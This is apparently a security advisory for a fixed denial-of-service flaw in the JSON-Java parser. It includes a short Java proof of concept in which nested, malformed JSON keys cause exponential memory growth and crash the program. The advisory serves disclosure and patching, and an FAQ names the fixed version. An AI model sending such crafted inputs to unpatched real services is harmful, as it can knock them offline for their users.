Advisory Published


First published: Tue Nov 14 2023(Updated: )

### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz]( A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR]( ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

Affected SoftwareAffected VersionHow to fix

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Frequently Asked Questions

  • What is the vulnerability ID?

    The vulnerability ID is GHSA-4jq9-2xhw-jpx7.

  • What is the summary of the vulnerability?

    The vulnerability is a denial of service vulnerability in JSON-Java where an input string of modest size can lead to indefinite amounts of memory being used.

  • Who discovered this vulnerability?

    The vulnerability was discovered by ClusterFuzz.

  • How can this vulnerability be exploited?

    This vulnerability can be exploited by providing a certain input string to the JSON-Java parser.

  • How can I fix this vulnerability?

    To fix this vulnerability, update the JSON-Java library to version 20231013 or higher.


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